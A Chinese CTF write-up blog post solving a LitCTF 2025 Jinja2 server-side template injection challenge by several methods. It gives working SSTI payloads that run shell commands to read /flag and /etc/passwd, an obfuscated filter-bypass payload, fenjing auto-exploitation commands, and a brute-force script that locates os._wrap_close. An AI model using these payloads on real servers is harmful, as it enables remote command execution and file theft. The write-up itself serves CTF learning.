ssti实战多方法解题1


我们借助一道题的多种解法,来加深我们对于ssti的一个理解

[LitCTF 2025]星愿信箱

首先当然是判断我们的这个模板对吧

1
2
3
4
5
6
7
8
${7*7}第一个,我们理解为根部
失败:来到第一个子部:{{7*7}}
成功:来到第二个子部:a{*comment*}b
第一个子部:
成功:那就是jinja2或者twig的。且我们输入{{7*'7'}},回显7777777说明是jinjia2模板,回显49的话就说明是Twig
第二个子部:成功,那就是Smarty。只返回comment的内容
失败,来到第三个子部
第三个子部:${"z".join("ab")},成功就是Mako
1
2
3
4
我们先输入`${7*7}`,显示说需要包含文字内容,哈哈,这下我的fenjing用法就解决不了这个问题了
我们输入`我爱你${7*7}`回显了一个一摸一样的,失败,来到第一个子部`我爱你{{7*7}}`,这里发现被屏蔽了,屏蔽了{{}}猜测,说明就是jinjia2模板了
`我爱你{% if 2>1 %}BenBen{%endif%}`回显我爱你benben
这里就已经绕过waf了

偷懒方法

1
2
3
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('cat /flag').read()}}
{{ lipsum.__globals__.os.popen('cat /flag').read() }}

这三个结合题目,形式发生变化为

1
2
3
{%print(config.__class__.__init__.__globals__['os'].popen('nl /flag').read())%}
{%print(url_for.__globals__.os.popen('nl /flag').read())%}
{%print(lipsum.__globals__.os.popen('nl /flag').read())%}

这三个都是可以的
就是直接套用模板,什么都不用做就可以拿到flag了

fenjing

fenjing也是偷懒做法,但是这道题目比较特殊,就是说,我们的这个要前面有中文才可以
一般地用这个就可以了

1
python -m fenjing scan --url http://node4.anna.nssctf.cn:28829/

万能(假)

然后还记得我们的一个万能的一个吗(不是所有的都可以,只能过一些常规的)。这道题目是直接就出flag了

1
{%set jy=dict(GET=x)|first|lower%}{%set dh=dict(OS=x)|first|lower%}{%set po=dict(POPEN=x)|first|lower%}{%set re=dict(READ=x)|first|lower%}{%set ob=dict(x=x)|count%}{%set ni=dict(GLOBALS=x)|first|lower%}{%set fp=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set bt=joiner|urlencode|wordcount%}{%set mt=cycler|escape|urlencode|count%}{%set pj=dict(aaaaa=x)|first|count%}{%set jm=namespace|escape|count%}{%set xo=namespace|escape|urlencode|escape|urlencode|count%}{%set et=(bt,bt,bt,bt,bt,ob,ob)|sum%}{%set ru=({}|escape|urlencode|first,dict(c=x)|join)|join%((xo,pj)|sum)%}{%set uc=(ru*(ob,ob)|sum,ni,ru*(ob,ob)|sum)|join%}{%set ya=(ru*(ob,ob)|sum,fp,ru*(ob,ob)|sum)|join%}{%set bl=(ru*(ob,ob)|sum,bu,ru*(ob,ob)|sum)|join%}{%set ip=(ru*(ob,ob)|sum,im,ru*(ob,ob)|sum)|join%}{%set ad=dict(ADD=x)|first|lower%}{%set sx=(ru*(ob,ob)|sum,ad,ru*(ob,ob)|sum)|join%}{%set ke=dict(a=x,b=x,c=x)|count%}{%set mq=(ke,ob)|sum%}{%set ta=dict(TAC=x)|first|lower|attr(sx)((({}|escape|urlencode|first,dict(c=x)|join)|join*(bt,ob,ob)|sum)%((bt,bt,bt,bt,bt,ob)|sum,(mt,bt,ob)|sum,(mt,pj)|sum,(mt,bt,bt,mq)|sum,(bt,bt,bt,bt,bt,ob)|sum,(jm,bt,mq)|sum,(jm,ob)|sum,(xo,bt,pj)|sum,(et,pj)|sum))%}{%print (((((session|attr(jy)|attr(uc)|attr(ya))(bl)|attr(ya))(ip))(dh)|attr(po))(ta)|attr(re))()%}

我们就需要好好学一下fenjing怎么用就可以了
在这之前,抓包得知是post传参的
json格式如下

1
{"cmd":"11"}

参考文档我下在电脑上了

1
python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:29821/' --json-data '{"cmd": "a"}' --key cmd
1
python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:29821/' --json-data '{"cmd": "a"}' --key cmd --replaced-keyword-strategy ignore

下面的这个是参考的一个wp的paylaod,我发现我用不了这个命令,然后我发现我的fenjing版本什么的是有问题,反正很多常见功能是没有的

1
python -m fenjing --help

一开始回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python -m fenjing --help
Usage: python -m fenjing [OPTIONS] COMMAND [ARGS]...

click的命令组

Options:
--help Show this message and exit.

Commands:
crack 攻击指定的表单
crack-path 攻击指定的路径
crack-request 从文本文件中读取请求并攻击目标,文本文件中用PAYLOAD标记payload插入位置
scan 扫描指定的网站
webui 启动webui

下载了最新版本的回显的就是我要的了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
python -m fenjing --help
Usage: python -m fenjing [OPTIONS] COMMAND [ARGS]...

click的命令组

Options:
--silent, --shutup 不打印INFO等
--help Show this message and exit.

Commands:
crack 攻击指定的表单
crack-json 攻击指定的JSON API
crack-keywords 根据关键字生成对应的payload
crack-path 攻击指定的路径
crack-request 从文本文件中读取请求并攻击目标,文本文件中用`PAYLOAD`标记payload插入位置
scan 扫描指定的网站
webui 启动webui

功能完善后还是报错了

1
python -m fenjing crack-json --url "http://node6.anna.nssctf.cn:29821/" --json-data "{\"cmd\": \"a\"}" --key cmd

最后换成这个命令开始运行了,但是还是拿不到flag

1
2
python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:24986/' --json-data "{\"cmd\": \"a\"}" --key cmd --replaced-keyword-strategy ignore
fenjing crack-json --url 'http://node6.anna.nssctf.cn:28919/' --json-data "{\"cmd\": \"a\"}" --key cmd --replaced-keyword-strategy ignore

这个参考wp的命令还是拿不到

1
2
python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:27524/' --json-data "{\"cmd\": \"a\"}" --key cmd --replaced-keyword-strategy ignore

上面这些都是人家的wp给的形式

1
python -m fenjing crack-json --url "http://node6.anna.nssctf.cn:27524/" --json-data "{\"cmd\": \"a\"}" --key cmd --replaced-keyword-strategy ignore

报错信息给gpt看,就是url栏那里进行修改就可以拿到flag了

1
python -m fenjing crack-json --url "http://node6.anna.nssctf.cn:27524/" --json-data "{\"cmd\": \"a\"}" --key cmd

这个是可以的,单双引号和这个转义符的区分

常规解法

首先我们要知道,paylaod大致的样子如下

1
{%print("".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("cat /etc/passwd").read())%}
1
{% if "".__class__ %}BenBen{%endif%}

用这两条都是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://node6.anna.nssctf.cn:23338/"

for i in range(300):
try:
data = {"cmd": f'{{%print("".__class__.__base__.__subclasses__()[{i}])%}}'}
response = requests.post(url, json=data)
if response.status_code == 200:
if "os._wrap_close" in response.text:
print(i, "--->", data)
break
except:
pass

如果是写脚本的话,肯定是一步一步地测试,不断地改我们的脚本才行
这里遇到一个问题,就是括号的问题
这里只有一个大括号,脚本和之前的两个括号的脚本是有很多地方不一样的
应该是这里传输数据的方式是json,所有才会说之前的脚本跑不了

你问得非常好!我们就聚焦在你关心的部分:


🎯 关注点:

1
data = {"cmd": f'{{%print("".__class__.__base__.__subclasses__()[{i}])%}}'}
1
2
你想问的是:
这个字符串里 `{{`、`}}` 怎么用的?**Python 的 f-string 和模板语法 `{% ... %}` 混在一起,它们怎么不冲突?**

✅ 这是 Python f-string 里的转义规则问题

🔹 1. 外层是 Python 的 f-string:

1
f'...{i}...'
1
Python 会处理花括号 `{}`,比如:
1
2
name = "Alice"
f"Hello {name}""Hello Alice"

1
### 🔹 2. 那 `{%print(...)%}` 里的 `{` 和 `%` 怎么办?

你用了这段:

1
f'{{%print(...)%}}'
  • {{` 会变成单个 `{` * `}} 会变成单个 }
  • 这是 f-string 的写法规则,用两个花括号 {{` 和 `}} 才能输出真实的 {} 字符。

✅ 举个简单例子:

1
2
f'{{abc}}''{abc}'
f'{{%print("Hello")%}}''{%print("Hello")%}'

✅ 所以你这一句:

1
f'{{%print("".__class__.__base__.__subclasses__()[{i}])%}}'
1
2
3
* 外层 f-string 中的 `{{` 会变成 `{`
* `}}` 会变成 `}`
* `{i}` 会被实际的数字代入,比如 `137`

最终的效果就是动态构造出:

1
{%print("".__class__.__base__.__subclasses__()[137])%}

完美符合 Jinja2 模板的语法。


✅ 总结一句话:

1
2
3
4
5
6
7
8
9
* `{{` 和 `}}` 是为了告诉 Python f-string:**“我想输出一个花括号”**。
* `{i}` 是正常的变量替换。
* 所以你才能安全地写出模板语言中需要的 `{% ... %}` 结构,而不被 Python 报错。

---

如果你想测试多个变量一起拼成模板指令,也可以,我可以帮你构造复杂的 payload 字符串。是否要继续往 `popen()` 那块构造执行命令的 payload?

除了写这个脚本,还可以说就是,我们直接在这里的这个bp去爆破,先构造好语句,只差我们剩下的数字

总结

还是有很多的相关的一些过滤呀什么的,做过的相关练习还是有些偏少的,慢慢积累


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录